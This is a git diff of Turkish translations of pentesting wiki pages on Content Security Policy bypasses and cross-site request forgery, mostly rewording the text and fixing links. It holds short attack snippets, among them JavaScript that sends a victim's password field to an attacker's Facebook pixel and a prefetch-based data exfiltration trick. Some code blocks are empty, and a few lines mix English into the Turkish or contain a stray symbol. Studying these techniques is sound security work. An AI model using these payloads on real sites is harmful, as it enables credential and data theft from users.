@@ -232,7 +232,7 @@ Bir sınıf adından Angular XSS:
```
#### Google reCAPTCHA JS kodunu kötüye kullanma
-[**bu CTF yazısına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
+[**bu CTF yazımına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
```html
```
-Daha fazla [**yüklerden bu yazıda**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
+Daha fazla [**bu yazıdan payloadlar**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
@@ -266,15 +266,15 @@ Aşağıdaki URL, example.com'a yönlendirir (buradan):
```
https://www.google.com/amp/s/example.com/
```
-\*.google.com/script.google.com'ı kötüye kullanma
+Abusing \*.google.com/script.google.com
-script.google.com içindeki bir sayfada bilgi almak için Google Apps Script'i kötüye kullanmak mümkündür. Bunu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) olduğu gibi yapabilirsiniz.
+Google Apps Script'i, script.google.com içindeki bir sayfada bilgi almak için kötüye kullanmak mümkündür. Bunu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) olduğu gibi yapabilirsiniz.
### Üçüncü Taraf Uç Noktaları + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
-Bu tür senaryolar, `script-src`'nin `self` ve belirli bir beyaz listeye alınmış alan adı olarak ayarlandığı durumlarda JSONP kullanılarak atlatılabilir. JSONP uç noktaları, bir saldırganın XSS gerçekleştirmesine olanak tanıyan güvensiz geri çağırma yöntemlerine izin verir, çalışan yük:
+Bu tür senaryolar, `script-src`'nin `self` ve belirli bir beyaz listeye alınmış alan adına ayarlandığı durumlarda JSONP kullanılarak atlatılabilir. JSONP uç noktaları, bir saldırganın XSS gerçekleştirmesine olanak tanıyan güvensiz geri çağırma yöntemlerine izin verir, çalışan yük:
```markup
">
">
@@ -290,36 +290,36 @@ https://www.youtube.com/oembed?callback=alert;
### Üçüncü Taraf İstismarları
-Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerde izin verilen birçok üçüncü taraf alanı, verileri dışarı sızdırmak veya JavaScript kodu çalıştırmak için istismar edilebilir. Bu üçüncü taraflardan bazıları şunlardır:
+Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerde izin verilen birçok üçüncü taraf alan adı, verileri dışarı sızdırmak veya JavaScript kodu çalıştırmak için istismar edilebilir. Bu üçüncü taraflardan bazıları şunlardır:
-| Varlık | İzin Verilen Alan | Yetenekler |
-| ----------------- | -------------------------------------------- | ------------ |
-| Facebook | www.facebook.com, \*.facebook.com | Exfil |
-| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
-| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
-| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
-| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
-| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
-| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
-| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
+| Varlık | İzin Verilen Alan | Yetenekler |
+| ----------------- | ----------------------------------------------- | ------------ |
+| Facebook | www.facebook.com, \*.facebook.com | Exfil |
+| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
+| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
+| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
+| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
+| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
+| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
+| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
-Hedefinizin CSP'sinde izin verilen alanlardan herhangi birini bulursanız, üçüncü taraf hizmetine kaydolarak CSP'yi atlayabileceğiniz ve ya verileri o hizmete dışarı sızdırabileceğiniz ya da kod çalıştırabileceğiniz ihtimali vardır.
+Hedefinizin CSP'sinde izin verilen alan adlarından herhangi birini bulursanız, üçüncü taraf hizmetine kaydolarak CSP'yi atlayabileceğiniz ve ya verileri o hizmete dışarı sızdırabileceğiniz ya da kod çalıştırabileceğiniz ihtimali vardır.
Örneğin, aşağıdaki CSP'yi bulursanız:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
-ve
+or
```
Content-Security-Policy: connect-src www.facebook.com;
```
-Veri sızdırma işlemini gerçekleştirebilmelisiniz, tıpkı her zaman [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile yapıldığı gibi. Bu durumda, aşağıdaki genel adımları izlersiniz:
+Veri sızdırma işlemini, her zaman olduğu gibi [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile yapabilmelisiniz. Bu durumda, aşağıdaki genel adımları izlersiniz:
1. Buradan bir Facebook Geliştirici hesabı oluşturun.
2. Yeni bir "Facebook Girişi" uygulaması oluşturun ve "Web Sitesi"ni seçin.
3. "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliğinizi" alın.
4. Veri sızdırmak istediğiniz hedef sitede, "customEvent" ve veri yükü aracılığıyla doğrudan Facebook SDK aracı "fbq" kullanarak veri sızdırabilirsiniz.
-5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
+5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisinin şu URL'ye benzer bir yerde bulunabileceğini unutmayın: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görün.
Ardından, kurban tarafında, saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden Facebook izleme pikselini başlatmak ve şu şekilde özel bir etkinlik oluşturmak için aşağıdaki kodu çalıştırırsınız:
@@ -329,21 +329,21 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
-Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, bunları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog gönderisine](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.
+Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, bunları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.
-### RPO (Relative Path Overwrite) ile Bypass
+### Bypass via RPO (Relative Path Overwrite)
Yukarıda bahsedilen yol kısıtlamalarını aşmak için yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.
-Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekilde aşılabilir:
+Örneğin, eğer CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, bu yol aşağıdaki gibi aşılabilir:
```html
```
Tarayıcı nihayetinde `https://example.com/scripts/angular/angular.js` dosyasını yükleyecektir.
-Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklüyorsunuz gibi çalışır ve bu CSP ile uyumludur.
+Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklüyorsunuz anlamına geldiği için çalışır; bu CSP ile uyumludur.
-∑, bunu çözerek, aslında `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar ki bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
+∑, bunu çözümleyecekler ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar; bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
**Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığından yararlanarak, yol kuralları atlatılabilir.**
@@ -359,23 +359,23 @@ Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2
### eksik **base-uri**
-Eğer **base-uri** direktifi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) gerçekleştirmek için kötüye kullanabilirsiniz.
+Eğer **base-uri** direktifi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) gerçekleştirmek için kötüye kullanabilirsiniz.
-Ayrıca, eğer **sayfa bir göreli yol kullanarak bir script yüklüyorsa** (örneğin `
```
-### Yer İmleri Aracılığıyla
+### Via Bookmarklets
Bu saldırı, saldırganın **kullanıcıyı tarayıcının yer imi üzerine bir bağlantıyı sürükleyip bırakmaya ikna etmesi** anlamına gelir. Bu yer imi, **kötü niyetli javascript** kodu içerecek ve sürüklenip bırakıldığında veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak, **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya** olanak tanıyacaktır.
Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
-### CSP'yi Kısıtlayarak Atlamak
+### CSP'yi kısıtlayarak CSP atlatma
-[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlanmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **dom clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.
+[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **DOM clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.
Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**:
```html
@@ -556,8 +556,8 @@ Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**:
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'">
```
-[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48)'nda, **HTML injection** aracılığıyla **CSP**'yi daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\
-CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını sağlayarak ve belirli inline script'leri sha ile etkinleştirerek **kaldırılabilir.**
+[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48) içinde, **HTML injection** aracılığıyla **CSP'yi** daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\
+CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını **kaldırarak** devre dışı bırakılabilir ve belirli inline script'ler **sha** aracılığıyla etkinleştirilebilir:
```html
```
@@ -669,7 +669,7 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
-Bunun olmasını önlemek için sunucu HTTP başlığını gönderebilir:
+Bu durumun gerçekleşmesini önlemek için sunucu şu HTTP başlığını gönderebilir:
```
X-DNS-Prefetch-Control: off
```
diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md
index 77944eadc..fb1e2a132 100644
--- a/src/pentesting-web/csrf-cross-site-request-forgery.md
+++ b/src/pentesting-web/csrf-cross-site-request-forgery.md
@@ -136,7 +136,7 @@ form.submit()
```
### JSON Verileri için Ön Uç İsteklerini Aşma
-JSON verilerini bir POST isteği ile göndermeye çalışırken, bir HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanmak bir ön uç isteği başlatır. Yine de, bu sınırlamayı aşmanın ve sunucunun JSON verilerini Content-Type'a bakılmaksızın işleyip işlemediğini kontrol etmenin stratejileri vardır:
+JSON verilerini POST isteği ile göndermeye çalışırken, bir HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanmak bir ön uç isteği başlatır. Ancak, bu sınırlamayı aşmanın ve sunucunun JSON verilerini Content-Type'a bakılmaksızın işleyip işlemediğini kontrol etmenin bazı stratejileri vardır:
1. **Alternatif İçerik Türlerini Kullanma**: Formda `enctype="text/plain"` ayarlayarak `Content-Type: text/plain` veya `Content-Type: application/x-www-form-urlencoded` kullanın. Bu yaklaşım, arka ucun içerik türüne bakılmaksızın verileri kullanıp kullanmadığını test eder.
2. **İçerik Türünü Değiştirme**: Sunucunun içeriği JSON olarak tanımasını sağlarken bir ön uç isteğinden kaçınmak için verileri `Content-Type: text/plain; application/json` ile gönderebilirsiniz. Bu, bir ön uç isteği tetiklemez ancak sunucu `application/json` kabul edecek şekilde yapılandırılmışsa doğru bir şekilde işlenebilir.
@@ -144,7 +144,7 @@ JSON verilerini bir POST isteği ile göndermeye çalışırken, bir HTML formun
### Referans / Kaynak kontrolünü aşma
-**Referans başlığından kaçınma**
+**Referans başlığından kaçının**
Uygulamalar, 'Referer' başlığını yalnızca mevcut olduğunda doğrulayabilir. Bir tarayıcının bu başlığı göndermesini önlemek için aşağıdaki HTML meta etiketi kullanılabilir:
```xml
@@ -189,7 +189,7 @@ document.forms[0].submit()
```
### **HEAD yöntemi atlatma**
-[**Bu CTF yazısı**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) kısmında, [Oak'ın kaynak kodu](https://github.com/oakserver/oak/blob/main/router.ts#L281) ile bir yönlendiricinin **HEAD isteklerini GET istekleri olarak yanıt vermeden işlemek üzere ayarlandığı** açıklanmaktadır - bu, Oak'a özgü olmayan yaygın bir çözüm yoludur. HEAD istekleriyle ilgilenen belirli bir işleyici yerine, bunlar basitçe **GET işleyicisine verilir, ancak uygulama yanıt gövdesini kaldırır**.
+[**Bu CTF yazısı**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) kısmında, **HEAD isteklerini GET istekleri olarak** yanıt gövdesi olmadan işlemek üzere ayarlanmış bir yönlendirici olan [Oak'ın kaynak kodu](https://github.com/oakserver/oak/blob/main/router.ts#L281) açıklanmaktadır - bu, Oak'a özgü olmayan yaygın bir geçici çözümdür. HEAD istekleriyle ilgilenen belirli bir işleyici yerine, bunlar basitçe **GET işleyicisine verilir, ancak uygulama yanıt gövdesini kaldırır**.
Bu nedenle, bir GET isteği sınırlıysa, **GET isteği olarak işlenecek bir HEAD isteği gönderebilirsiniz**.
@@ -197,7 +197,7 @@ Bu nedenle, bir GET isteği sınırlıysa, **GET isteği olarak işlenecek bir H
### **CSRF Token'ını Sızdırma**
-Eğer bir **CSRF token'ı** **savunma** olarak kullanılıyorsa, bir [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) açığını veya bir [**Dangling Markup**](dangling-markup-html-scriptless-injection/) açığını kullanarak **sızdırmayı** deneyebilirsiniz.
+Eğer bir **CSRF token'ı** **savunma** olarak kullanılıyorsa, bir [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) açığını veya bir [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) açığını kullanarak **sızdırmayı** deneyebilirsiniz.
### **HTML etiketleri kullanarak GET**
```xml
@@ -472,7 +472,7 @@ style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();">
```
-### **CSRF Token'ı Çal ve bir iframe ve form kullanarak bir POST isteği gönder**
+### **CSRF Token'ı Çal ve bir iframe ile bir form kullanarak POST isteği gönder**
```html